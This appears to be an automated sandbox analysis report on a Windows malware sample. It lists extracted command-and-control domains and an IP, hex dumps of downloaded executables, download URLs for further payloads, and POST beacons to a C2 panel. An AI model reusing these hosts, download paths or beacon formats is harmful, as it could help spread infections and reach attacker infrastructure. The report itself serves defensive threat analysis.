Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 20:30:10 GMTContent-Type: application/octet-streamContent-Length: 21504Last-Modified: Wed, 18 Dec 2024 18:13:28 GMTConnection: keep-aliveETag: "676310c8-5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 6d 3b c0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4a 00 00 00 08 00 00 00 00 00 00 3a 69 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e6 68 00 00 4f 00 00 00 00 80 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 54 68 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 49 00 00 00 20 00 00 00 4a 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 9c 05 00 00 00 80 00 00 00 06 00 00 00 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 69 00 00 00 00 00 00 48 00 00 00 02 00 05 00 e4 36 00 00 70 31 00 00 03 00 02 00 1b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 38 00 00 00 01 00 00 11 73 32 00 00 06 0a 06 28 16 00 00 0a 7d 3c 00 00 04 06 02 7d 3d 00 00 04 06 15 7d 3b 00 00 04 06 7c 3c 00 00 04 12 00 28 01 00 00 2b 06 7c 3c 00 00 04 28 18 00 00 0a 2a 13 30 02 00 50 00 00 00 02 00 00 11 00 7e 02 00 00 04 16 fe 01 0a 06 2c 42 00 72 01 00 00 70 28 19 00 00 0a 00 72 63 00 00 70 28 19 00 00 0a 00 28 05 00 00 06 0b 72 a9 00 00 70 07 28 1a 00 00 0a 28 19 00 00 0a 00 07 28 04 00 00 06 6f 1b 00 00 0a 00 16 28 1c 00 00 0a 00 00 2a 13 30 02 00 38 00 00 00 03 00 00 11 73 2c 00 00 06 0a 06 28 16 00 00 0a 7d 15 00 00 04 06 02 7d 16 00 00 04 06 15 7d 14 00 00 04 06 7c 15 00 00 04 12 00 28 02 00 00 2b 06 7c 15 00 00 04 28 18 00 00 0a 2a 13 30 05 00 48 00 00 00 04 00 00 11 00 73 1d 00 00 0a 0a 1a 8d 2f 00 00 01 0b 16 0c 2b 1c 00 07 08 7e 03 00 00 04 06 7e 03 00 00 04 8e 69 6f 1e 00 00 0a 9a a2 00 08 17 58 0c 08 1a fe 04 0d 09 2d dc 72 cf 00 00 70 07 28 1f 00 00 0a 13 04 2b 00 11 04 2a 13 30 02 00 16
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 20:30:15 GMTContent-Type: application/octet-streamContent-Length: 1885696Last-Modified: Wed, 18 Dec 2024 18:20:47 GMTConnection: keep-aliveETag: "6763127f-1cc600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 7a 78 64 77 79 76 69 00 50 1a 00 00 20 30 00 00 42 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 66 7a 64 6c 64 69 67 00 10 00 00 00 70 4a 00 00 04 00 00 00 a0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4a 00 00 22 00 00 00 a4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 20:30:24 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 20:30:40 GMTContent-Type: application/octet-streamContent-Length: 6450901Last-Modified: Wed, 18 Dec 2024 20:09:51 GMTConnection: keep-aliveETag: "67632c0f-626ed5"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5a 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 6a 00 00 00 da 02 00 00 08 00 00 2d 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 86 00 00 a0 00 00 00 00 d0 04 00 38 c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 97 68 00 00 00 10 00 00 00 6a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a6 14 00 00 00 80 00 00 00 16 00 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 b0 02 00 00 a0 00 00 00 06 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 70 01 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 38 c8 00 00 00 d0 04 00 00 ca 00 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 20:30:55 GMTContent-Type: application/octet-streamContent-Length: 1880576Last-Modified: Wed, 18 Dec 2024 18:02:50 GMTConnection: keep-aliveETag: "67630e4a-1cb200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 69 eb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6e 75 7a 76 6c 68 65 00 30 1a 00 00 f0 2f 00 00 2e 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 7a 75 74 74 61 6e 78 00 10 00 00 00 20 4a 00 00 04 00 00 00 8c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4a 00 00 22 00 00 00 90 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 20:31:05 GMTContent-Type: application/octet-streamContent-Length: 4412928Last-Modified: Wed, 18 Dec 2024 19:00:10 GMTConnection: keep-aliveETag: "67631bba-435600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9f 99 62 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 44 49 00 00 24 6c 00 00 32 00 00 00 b0 bb 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 bb 00 00 04 00 00 2b dd 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 69 00 73 00 00 00 00 80 69 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 8f bb 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 8e bb 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 69 00 00 10 00 00 00 48 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 80 69 00 00 02 00 00 00 58 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 69 00 00 02 00 00 00 5a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 37 00 00 a0 69 00 00 02 00 00 00 5c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 71 74 72 74 66 71 7a 00 e0 1a 00 00 c0 a0 00 00 d2 1a 00 00 5e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 69 79 73 6d 75 63 7a 00 10 00 00 00 a0 bb 00 00 04 00 00 00 30 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 bb 00 00 22 00 00 00 34 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/5856379169/kf5cl0F.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 30 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017024001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/7133490529/ANEDNjf.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 30 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017027001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 30 38 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017081001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/151334531/Dh5yvWY.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 30 38 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017082001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 30 38 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017083001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
